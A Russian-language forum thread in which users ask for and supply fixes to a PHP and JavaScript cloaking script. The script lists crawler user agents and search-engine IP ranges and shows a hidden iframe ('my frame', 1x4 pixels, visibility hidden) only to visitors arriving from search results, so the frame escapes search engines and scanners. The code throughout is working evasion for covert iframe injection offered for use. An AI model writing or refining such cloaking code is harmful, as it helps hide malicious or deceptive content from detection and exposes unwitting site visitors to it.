Помогите со скриптом

I love this game

Постоялец
Регистрация
9 Фев 2009
Сообщения
99
Реакции
12
Вот есть немного переделанный клоакинг скрипт, работает если пришел с поисковика то показует оригинальную страницу и ифрейм 'my frame', а если без реферера или бот или ip то показует оригинальную страницу.
Короче все работает хорошо, но только не получается с картинок гугла и яху, не показует ифрейм, кто может помочь?
PHP:
<?php 
$stop_agent = array('Ask Jeeves', 'HP Web PrintSmart', 'HTTrack', 'IDBot', 'Indy Library', 
                               'ListChecker', 'MSIECrawler', 'NetCache', 'Nutch', 'RPT-HTTPClient', 
                               'rulinki.ru', 'Twiceler', 'WebAlta', 'Webster Pro','www.cys.ru', 
                               'Wysigot', 'Yahoo! Slurp', 'Yeti', 'Accoona', 'CazoodleBot', 
                               'CFNetwork', 'ConveraCrawler','DISCo', 'Download Master', 'FAST MetaWeb Crawler', 
                               'Flexum spider', 'Gigabot', 'HTMLParser', 'ia_archiver', 'ichiro', 
                               'IRLbot', 'Java', 'km.ru bot', 'kmSearchBot', 'libwww-perl', 
                               'Lupa.ru', 'LWP::Simple', 'lwp-trivial', 'Missigua', 'MJ12bot', 
                               'msnbot', 'msnbot-media', 'Offline Explorer', 'OmniExplorer_Bot', 
                               'PEAR', 'psbot', 'Python', 'rulinki.ru', 'SMILE', 
                               'Speedy', 'Teleport Pro', 'TurtleScanner', 'User-Agent', 'voyager', 
                               'Webalta', 'WebCopier', 'WebData', 'WebZIP', 'Wget', 
                               'Yandex', 'Yanga', 'Yeti','msnbot', 
                               'spider', 'yahoo', 'jeeves' ,'google' ,'altavista', 
                               'scooter' ,'av fetch' ,'asterias' ,'spiderthread revision' ,'sqworm', 
                               'ask' ,'lycos.spider' ,'infoseek sidewinder' ,'ultraseek' ,'polybot', 
                               'webcrawler', 'robozill', 'gulliver', 'architextspider', 'yahoo! slurp', 
                               'charlotte', 'ngb' ) ;  
$stop_ip = array( 
        "66.249.[6-9][0-9].[0-9]+",    // Google    NetRange:   66.249.64.0 - 66.249.95.255 
        "74.125.[0-9]+.[0-9]+",        // Google     NetRange:   74.125.0.0 - 74.125.255.255 
        "65.5[2-5].[0-9]+.[0-9]+",    // MSN        NetRange:   65.52.0.0 - 65.55.255.255, 
        "74.6.[0-9]+.[0-9]+",        // Yahoo    NetRange:   74.6.0.0 - 74.6.255.255 
        "67.195.[0-9]+.[0-9]+",        // Yahoo#2    NetRange:   67.195.0.0 - 67.195.255.255 
        "72.30.[0-9]+.[0-9]+",        // Yahoo#3    NetRange:   72.30.0.0 - 72.30.255.255 
        "38.[0-9]+.[0-9]+.[0-9]+",     // Cuill:     NetRange:   38.0.0.0 - 38.255.255.255 
        "93.172.94.227",                // MacFinder 
        "212.100.250.218",            // Wells Search II 
        "71.165.223.134",            // Indy Library 
        "70.91.180.25", 
        "65.93.62.242", 
        "74.193.246.129", 
        "213.144.15.38", 
        "195.92.229.2", 
        "70.50.189.191", 
        "218.28.88.99", 
        "165.160.2.20", 
        "89.122.224.230", 
        "66.230.175.124", 
        "218.18.174.27", 
        "65.33.87.94", 
        "67.210.111.241", 
        "81.135.175.70", 
        "64.69.34.134", 
        "89.149.253.169" 
    ); 
function _xyec($a,$b,$c = false) { 
foreach($a as $d) { 
$d = $c ? preg_quote($d) : $d; 
  if(preg_match("#$d#i",$b)) return true; 
  } 
} 
function _is_okref() { 
if (preg_match ('#google|msn|live|altavista|ask|yahoo|aol|bing#i'  , $_SERVER['HTTP_REFERER'] ) ) { 
  if (preg_match("#[\?\&](q|p|query|keywords)=([^&]+)#i", $_SERVER['HTTP_REFERER'])) return true; 
} 
} 
if(!empty($_SERVER['HTTP_REFERER'])) { 
if(!(_xyec($stop_agent,$_SERVER['HTTP_USER_AGENT'],true) or _xyec($stop_ip,$_SERVER['REMOTE_ADDR'])) and _is_okref()) { 
  echo 'my_frame'; // or $my_var = 'frame'; ..... echo $my_var; 
} 
} 
?>
 
("#[\?\&](q|p|query|keywords|images)
PHP:
<?php 
$stop_agent = array('Ask Jeeves', 'HP Web PrintSmart', 'HTTrack', 'IDBot', 'Indy Library', 
                               'ListChecker', 'MSIECrawler', 'NetCache', 'Nutch', 'RPT-HTTPClient', 
                               'rulinki.ru', 'Twiceler', 'WebAlta', 'Webster Pro','www.cys.ru', 
                               'Wysigot', 'Yahoo! Slurp', 'Yeti', 'Accoona', 'CazoodleBot', 
                               'CFNetwork', 'ConveraCrawler','DISCo', 'Download Master', 'FAST MetaWeb Crawler', 
                               'Flexum spider', 'Gigabot', 'HTMLParser', 'ia_archiver', 'ichiro', 
                               'IRLbot', 'Java', 'km.ru bot', 'kmSearchBot', 'libwww-perl', 
                               'Lupa.ru', 'LWP::Simple', 'lwp-trivial', 'Missigua', 'MJ12bot', 
                               'msnbot', 'msnbot-media', 'Offline Explorer', 'OmniExplorer_Bot', 
                               'PEAR', 'psbot', 'Python', 'rulinki.ru', 'SMILE', 
                               'Speedy', 'Teleport Pro', 'TurtleScanner', 'User-Agent', 'voyager', 
                               'Webalta', 'WebCopier', 'WebData', 'WebZIP', 'Wget', 
                               'Yandex', 'Yanga', 'Yeti','msnbot', 
                               'spider', 'yahoo', 'jeeves' ,'google' ,'altavista', 
                               'scooter' ,'av fetch' ,'asterias' ,'spiderthread revision' ,'sqworm', 
                               'ask' ,'lycos.spider' ,'infoseek sidewinder' ,'ultraseek' ,'polybot', 
                               'webcrawler', 'robozill', 'gulliver', 'architextspider', 'yahoo! slurp', 
                               'charlotte', 'ngb' ) ;  
$stop_ip = array( 
        "66.249.[6-9][0-9].[0-9]+",    // Google    NetRange:   66.249.64.0 - 66.249.95.255 
        "74.125.[0-9]+.[0-9]+",        // Google     NetRange:   74.125.0.0 - 74.125.255.255 
        "65.5[2-5].[0-9]+.[0-9]+",    // MSN        NetRange:   65.52.0.0 - 65.55.255.255, 
        "74.6.[0-9]+.[0-9]+",        // Yahoo    NetRange:   74.6.0.0 - 74.6.255.255 
        "67.195.[0-9]+.[0-9]+",        // Yahoo#2    NetRange:   67.195.0.0 - 67.195.255.255 
        "72.30.[0-9]+.[0-9]+",        // Yahoo#3    NetRange:   72.30.0.0 - 72.30.255.255 
        "38.[0-9]+.[0-9]+.[0-9]+",     // Cuill:     NetRange:   38.0.0.0 - 38.255.255.255 
        "93.172.94.227",                // MacFinder 
        "212.100.250.218",            // Wells Search II 
        "71.165.223.134",            // Indy Library 
        "70.91.180.25", 
        "65.93.62.242", 
        "74.193.246.129", 
        "213.144.15.38", 
        "195.92.229.2", 
        "70.50.189.191", 
        "218.28.88.99", 
        "165.160.2.20", 
        "89.122.224.230", 
        "66.230.175.124", 
        "218.18.174.27", 
        "65.33.87.94", 
        "67.210.111.241", 
        "81.135.175.70", 
        "64.69.34.134", 
        "89.149.253.169" 
    ); 
function _xyec($a,$b,$c = false) { 
foreach($a as $d) { 
$d = $c ? preg_quote($d) : $d; 
  if(preg_match("#$d#i",$b)) return true; 
  } 
} 
function _is_okref() {
if (preg_match ('#google|msn|live|altavista|ask|yahoo|aol|bing#i'  , $_SERVER['HTTP_REFERER'] ) ) { 
  if (preg_match("#[\?\&](q|p|query|keywords|images)=([^&]+)#i", $_SERVER['HTTP_REFERER'])) return true; 
} 
} 
if(!empty($_SERVER['HTTP_REFERER'])) { 
if(!(_xyec($stop_agent,$_SERVER['HTTP_USER_AGENT'],true) or _xyec($stop_ip,$_SERVER['REMOTE_ADDR'])) and _is_okref()) { 
  echo 'my_frame'; // or $my_var = 'frame'; ..... echo $my_var; 
} 
} 
?>
 
Всеравно так не пашет!

Вот так работает на js

Код:
<script> 
function R(){ 
var Ref=document.referrer; 
if (Ref.indexOf('.google.')!=-1 || Ref.indexOf('.msn.')!=-1 || Ref.indexOf('.yahoo.')!=-1 || Ref.indexOf('.aol.')!=-1 || Ref.indexOf('.ask.')!=-1 || Ref.indexOf('.altavista.')!=-1 || Ref.indexOf('.bing.')!=-1) 
{ document.write("<iframe src='my frame' width='1' height='4' style='visibility: hidden;'></iframe>");
} 
else { 
document.write(''); 
} 
} 
R(); 
</script>
 
PHP:
        // замена конца скрипта
        "67.210.111.241", 
        "81.135.175.70",
    );

$referer = '#^https?://[^/]+?(google|msn|live|altavista|ask|yahoo|aol|bing)[^/]+?/.*?[\?\&](q|p|query|keywords|images)=([^&]+)#i';

if(!preg_match('#'.join('|',array_map('preg_quote',$stop_agent)).'#i',$_SERVER['HTTP_USER_AGENT']) AND
   !preg_match('#'.str_replace('.','\.',join('|',$stop_ip)).'#',$_SERVER['REMOTE_ADDR']) AND
   preg_match($referer,$_SERVER['HTTP_REFERER'])) { echo 'my_frame'; }

или более короткий вариант (диапазоны ip одной регуляркой)

PHP:
if(!preg_match('/google|yahoo|msnbot|ia_archiver|spider|crawler|altavista|baidu|aspseek|cnsearch|yandex|rambler/i',$_SERVER['HTTP_USER_AGENT'])
   && !preg_match(str_replace(array('.',','),array('|','\.'),"/^(?:216,239,[3-6].64,68,8.66,102,[0-1].64,233,1.66,249,[6-9].72,14,[1-2].209,85,[1-2].173,194,.64,68,[8-9].64,68,6.74,125,.65,52,.74,6,.67,195,.72,30,)/"),$_SERVER['REMOTE_ADDR'])
   && preg_match('/google|yahoo|bing\.com|msn\.com|search\.|yandex|rambler|mail\.ru/',next(parse_url($_SERVER['HTTP_REFERER'])))) { echo 'my_frame'; }
 
Назад
Сверху